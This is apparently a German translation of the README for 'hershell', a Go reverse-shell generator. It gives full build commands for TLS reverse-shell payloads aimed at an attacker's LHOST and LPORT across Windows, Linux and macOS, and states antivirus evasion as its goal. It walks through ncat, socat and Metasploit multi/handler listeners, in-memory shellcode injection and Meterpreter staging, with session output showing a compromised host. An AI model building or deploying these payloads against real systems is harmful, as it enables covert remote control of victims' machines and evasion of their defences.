
Multiplattform Reverse Shell Generator
Einfacher TCP-Reverse-Shell geschrieben in Go.
Es verwendet TLS, um die Kommunikation zu sichern, und bietet eine Funktion zum Pinnen des Fingerabdrucks des öffentlichen Schlüssels des Zertifikats, um das Abfangen von Datenverkehr zu verhindern.
Unterstützte Betriebssysteme sind:
Obwohl Meterpreter-Payloads großartig sind, werden sie manchmal von AV-Produkten erkannt.
Das Ziel dieses Projekts ist es, eine einfache Reverse-Shell zu erhalten, die auf mehreren Systemen funktioniert.
Da es in Go geschrieben ist, können Sie den Quellcode für die gewünschte Architektur cross-kompilieren.
Da es sich um ein Go-Projekt handelt, müssen Sie der offiziellen Dokumentation folgen, um Ihre Golang-Umgebung einzurichten (mit der Umgebungsvariablen $GOPATH).
Führen Sie dann einfach go get github.com/lesnuages/hershell aus, um das Projekt zu holen.
Um die Sache zu vereinfachen, können Sie das bereitgestellte Makefile verwenden. Sie können die folgenden Umgebungsvariablen setzen:
GOOS : das Ziel-BetriebssystemGOARCH : die Ziel-ArchitekturLHOST : die IP oder der Domainname des AngreifersLPORT : der Listener-PortFür die Variablen GOOS und GOARCH finden Sie die zulässigen Werte hier.
Einige Hilfsziele sind jedoch im Makefile verfügbar:
depends : generiert das Server-Zertifikat (erforderlich für die Reverse-Shell)windows32 : erstellt eine Windows 32-Bit ausführbare Datei (PE 32-Bit)windows64 : erstellt eine Windows 64-Bit ausführbare Datei (PE 64-Bit)linux32 : erstellt eine Linux 32-Bit ausführbare Datei (ELF 32-Bit)linux64 : erstellt eine Linux 64-Bit ausführbare Datei (ELF 64-Bit)macos32 : erstellt eine Mac OS 32-Bit ausführbare Datei (Mach-O)macos64 : erstellt eine Mac OS 64-Bit ausführbare Datei (Mach-O)Für diese Ziele müssen Sie nur die Umgebungsvariablen LHOST und LPORT setzen.
Nach der Ausführung erhalten Sie eine Remote-Shell.
Diese benutzerdefinierte interaktive Shell ermöglicht es Ihnen, Systembefehle über cmd.exe unter Windows oder /bin/sh auf UNIX-Maschinen auszuführen.
Die folgenden speziellen Befehle werden unterstützt:
run_shell : gibt Ihnen eine System-Shell (erlaubt z.B. das Wechseln von Verzeichnissen)inject <base64 shellcode> : injiziert einen Shellcode (base64-kodiert) in den gleichen Prozessspeicher und führt ihn ausmeterpreter [tcp|http|https] IP:PORT : verbindet sich mit einem multi/handler, um einen Stage2 Reverse TCP, HTTP oder HTTPS Meterpreter von Metasploit zu erhalten und führt den Shellcode im Speicher aus (derzeit nur Windows)exit : beendet sauberZunächst müssen Sie ein gültiges Zertifikat generieren:
$ make depends
openssl req -subj '/CN=yourcn.com/O=YourOrg/C=FR' -new -newkey rsa:4096 -days 3650 -nodes -x509 -keyout server.key -out server.pem
Generating a 4096 bit RSA private key
....................................................................................++
.....++
writing new private key to 'server.key'
-----
cat server.key >> server.pem
Für Windows:
# Predifined 32 bit target
$ make windows32 LHOST=192.168.0.12 LPORT=1234
# Predifined 64 bit target
$ make windows64 LHOST=192.168.0.12 LPORT=1234
Für Linux:
# Predifined 32 bit target
$ make linux32 LHOST=192.168.0.12 LPORT=1234
# Predifined 64 bit target
$ make linux64 LHOST=192.168.0.12 LPORT=1234
Für Mac OS X
$ make macos LHOST=192.168.0.12 LPORT=1234
Man kann verschiedene Tools verwenden, um eingehende Verbindungen zu handhaben, wie z.B.:
python/shell_reverse_tcp_ssl Payload)Hier ist ein Beispiel mit ncat:
$ ncat --ssl --ssl-cert server.pem --ssl-key server.key -lvp 1234
Ncat: Version 7.60 ( https://nmap.org/ncat )
Ncat: Listening on :::1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 172.16.122.105.
Ncat: Connection from 172.16.122.105:47814.
[hershell]> whoami
desktop-3pvv31a\lab
Hier ist ein Beispiel mit socat (getestet mit Version 1.7.3.2):
$ socat `tty` OPENSSL-LISTEN:1234,reuseaddr,cert=server.pem,key=server.key,verify=0
# connection would be initiated here
[hershell]> whoami
desktop-3pvv31a\lab
WARNUNG: Dies funktioniert derzeit nur auf der Windows-Plattform.
Das Meterpreter Staging unterstützt derzeit folgende Payloads:
windows/meterpreter/reverse_tcpwindows/x64/meterpreter/reverse_tcpwindows/meterpreter/reverse_httpwindows/x64/meterpreter/reverse_httpwindows/meterpreter/reverse_httpswindows/x64/meterpreter/reverse_httpsUm den richtigen zu verwenden, geben Sie einfach den gewünschten Transport an (tcp, http, https)
Um die Meterpreter-Staging-Funktion zu nutzen, starten Sie einfach Ihren Handler:
[14:12:45][172.16.122.105][Sessions: 0][Jobs: 0] > use exploit/multi/handler
[14:12:57][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_https
payload => windows/x64/meterpreter/reverse_https
[14:13:12][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > set lhost 172.16.122.105
lhost => 172.16.122.105
[14:13:15][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > set lport 8443
lport => 8443
[14:13:17][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > set HandlerSSLCert ./server.pem
HandlerSSLCert => ./server.pem
[14:13:26][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > exploit -j
[*] Exploit running as background job 0.
[*] [2018.01.29-14:13:29] Started HTTPS reverse handler on https://172.16.122.105:8443
[14:13:29][172.16.122.105][Sessions: 0][Jobs: 1] exploit(multi/handler) >
Dann verwenden Sie in hershell den Befehl meterpreter:
[hershell]> meterpreter https 172.16.122.105:8443
Eine neue Meterpreter-Sitzung sollte in msfconsole erscheinen:
[14:13:29][172.16.122.105][Sessions: 0][Jobs: 1] exploit(multi/handler) >
[*] [2018.01.29-14:16:44] https://172.16.122.105:8443 handling request from 172.16.122.105; (UUID: pqzl9t5k) Staging x64 payload (206937 bytes) ...
[*] Meterpreter session 1 opened (172.16.122.105:8443 -> 172.16.122.105:44804) at 2018-01-29 14:16:44 +0100
[14:16:46][172.16.122.105][Sessions: 1][Jobs: 1] exploit(multi/handler) > sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter x64/windows DESKTOP-3PVV31A\lab @ DESKTOP-3PVV31A 172.16.122.105:8443 -> 172.16.122.105:44804 (10.0.2.15)
[14:16:48][172.16.122.105][Sessions: 1][Jobs: 1] exploit(multi/handler) > sessions -i 1
[*] Starting interaction with 1...
meterpreter > getuid
Server username: DESKTOP-3PVV31A\lab
@khast3x für die Dockerfile-Funktion